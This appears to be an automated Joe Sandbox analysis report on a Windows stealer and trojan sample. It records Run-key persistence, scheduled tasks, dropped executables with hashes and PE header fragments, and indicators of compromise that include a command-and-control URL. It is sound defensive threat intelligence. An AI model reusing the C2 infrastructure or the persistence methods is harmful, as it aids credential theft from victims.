Start date and time:	2024-10-24 04:56:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@84/42@110/15
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 44.231.229.39, 52.13.186.250, 34.208.54.237
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, shavar.prod.mozaws.net, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, location.services.mozilla.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 3f779c1cca.exe, PID 6836 because there are no executed function
Execution Graph export aborted for target B7KMZCE66VGDP83M16.exe, PID 4440 because there are no executed function
Execution Graph export aborted for target QZRNZLINJW4FDHW89WOCWU0IJ.exe, PID 2360 because it is empty
Execution Graph export aborted for target file.exe, PID 1340 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 4544 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 5764 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:57:46	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
04:58:21	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 3f779c1cca.exe C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe
04:58:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 994a9a760e.exe C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe
04:58:38	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run fb9fc5d370.exe C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe
04:58:47	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1001105001\num.exe
04:58:55	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 3f779c1cca.exe C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe
04:59:03	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 994a9a760e.exe C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe
04:59:12	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run fb9fc5d370.exe C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe
04:59:20	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1001105001\num.exe
22:57:07	API Interceptor	761203x Sleep call for process: file.exe modified
22:58:01	API Interceptor	238891x Sleep call for process: skotes.exe modified
22:58:15	API Interceptor	41x Sleep call for process: 3f779c1cca.exe modified
22:58:41	API Interceptor	16x Sleep call for process: 994a9a760e.exe modified
22:58:47	API Interceptor	60x Sleep call for process: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe modified
22:59:02	API Interceptor	1x Sleep call for process: firefox.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.53.8	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	LoojPdoTwh.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Stealc	Browse
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
sergei-esenin.com	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
star-mini.c10r.facebook.com	file.exe	Get hash	malicious	Credential Flusher	Browse	163.70.128.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	https://www.ccleaner.com/	Get hash	malicious	Unknown	Browse	157.240.252.35
	https://jpbelgi.com/	Get hash	malicious	Unknown	Browse	157.240.253.35
	https://freshremovedigital.com/	Get hash	malicious	Unknown	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
twitter.com	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://t.co/yXelyYqHRk	Get hash	malicious	Unknown	Browse	172.66.0.227
	https://linkednnn.weebly.com/	Get hash	malicious	Unknown	Browse	104.18.86.42
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	Adeleidae.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	1.1.1.1
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	1.1.1.1
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	108.162.209.105
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.53.8
	https://www.ccleaner.com/	Get hash	malicious	Unknown	Browse	172.66.0.227
	Douglas County Government.pdf	Get hash	malicious	Unknown	Browse	104.16.123.96
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
ATGS-MMD-ASUS	https://linkednnn.weebly.com/	Get hash	malicious	Unknown	Browse	34.49.241.189
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	51.243.239.106
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	57.160.15.55
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	33.39.20.76

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.53.8 104.102.49.254
	https://t.ly/2jKWO	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.53.8 104.102.49.254
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\8Z5C764IBSHZ8A5U9SVRCREF.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1877504
Entropy (8bit):	7.947718581848989
Encrypted:	false
SSDEEP:	49152:1WqzDZCuH+cb8/Ql1v581NVNMuIHuApHjL3VifRUiHJZJHW0R:1/Hh8/q1i1KppDbVifRUiHJZJHV
MD5:	14A1F90B21FFB33B230A55A35C92F699
SHA1:	8DA19F2127AB0EA47C3A98917C574770D0393427
SHA-256:	A53615E5CD9C8C0EDB2A91D32E7C30B506BDA8A741C525E33CDBBB06AAD27565
SHA-512:	B3974BFACB41052500ECF74411416F9A150C45BCD06E17513C8B7A74F7252617BF320CCF2E728A4915C2FF4C3B3A3A4FE10551795536D51333FBA73D83921314
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......j...........@...........................j.....gG....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..*...%......:..............@...uolrxmar.P...`P..D...<..............@...whwdztvn......j.....................@....taggant.0....j.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2930688
Entropy (8bit):	6.540153190114147
Encrypted:	false
SSDEEP:	49152:RCl8wcS/M5P+isYPjCocpUkRBEmLWSfqGslwDhH5F/0fkW:RCRcS/MhrnPjCocpUkRB1CS/slwDhZl6
MD5:	85A42AFEBD3B50990C2588000AA36F8C
SHA1:	F90E8F26BFE7B3A3A523DF8BD205B4A461D06F00
SHA-256:	A6FB4829251C449D3896CF0EA7F0E513F043F29A5E6E7C7D9E735D030D43682C
SHA-512:	6072E6A37494419E0FF1E36230BFFBAFB4474A0666650CEA850BBB47D4BFD10A91590D3733D7A50F7EFC156D734D65F67CB39AED29409FA6882270ADEB07704C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f.............................@0...........@..........................p0.....u.,...@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@...tcduwnvy.0......"..p..............@...djrlngwz.....00.......,.............@....taggant.0...@0.."....,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584686786813719
Encrypted:	false
SSDEEP:	12288:oqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TW:oqDEvCTbMWu7rQYlBQcBiT6rprG8abW
MD5:	5ED9138AF4A937507DFDA5A5729F17BE
SHA1:	1603117DF867966D801FE383BF4AA7900BAAFD4C
SHA-256:	FE06B06A0A7F9CAD8666B750D75D85C546737D2E030CE22E303FC7644F9B55D9
SHA-512:	50B8F4A63BDE02C6B7259A7777C2DA64A547FBE9179235221BB38532EF369408BC19014C532B307F59DA0E1D8DA0CCFD41DB9DB3481A98AF92E821E673C58614
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...j..g.........."..........X......w.............@..........................`.......=....@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2930688
Entropy (8bit):	6.540153190114147
Encrypted:	false
SSDEEP:	49152:RCl8wcS/M5P+isYPjCocpUkRBEmLWSfqGslwDhH5F/0fkW:RCRcS/MhrnPjCocpUkRB1CS/slwDhZl6
MD5:	85A42AFEBD3B50990C2588000AA36F8C
SHA1:	F90E8F26BFE7B3A3A523DF8BD205B4A461D06F00
SHA-256:	A6FB4829251C449D3896CF0EA7F0E513F043F29A5E6E7C7D9E735D030D43682C
SHA-512:	6072E6A37494419E0FF1E36230BFFBAFB4474A0666650CEA850BBB47D4BFD10A91590D3733D7A50F7EFC156D734D65F67CB39AED29409FA6882270ADEB07704C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f.............................@0...........@..........................p0.....u.,...@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@...tcduwnvy.0......"..p..............@...djrlngwz.....00.......,.............@....taggant.0...@0.."....,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1877504
Entropy (8bit):	7.947718581848989
Encrypted:	false
SSDEEP:	49152:1WqzDZCuH+cb8/Ql1v581NVNMuIHuApHjL3VifRUiHJZJHW0R:1/Hh8/q1i1KppDbVifRUiHJZJHV
MD5:	14A1F90B21FFB33B230A55A35C92F699
SHA1:	8DA19F2127AB0EA47C3A98917C574770D0393427
SHA-256:	A53615E5CD9C8C0EDB2A91D32E7C30B506BDA8A741C525E33CDBBB06AAD27565
SHA-512:	B3974BFACB41052500ECF74411416F9A150C45BCD06E17513C8B7A74F7252617BF320CCF2E728A4915C2FF4C3B3A3A4FE10551795536D51333FBA73D83921314
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......j...........@...........................j.....gG....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..*...%......:..............@...uolrxmar.P...`P..D...<..............@...whwdztvn......j.....................@....taggant.0....j.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584686786813719
Encrypted:	false
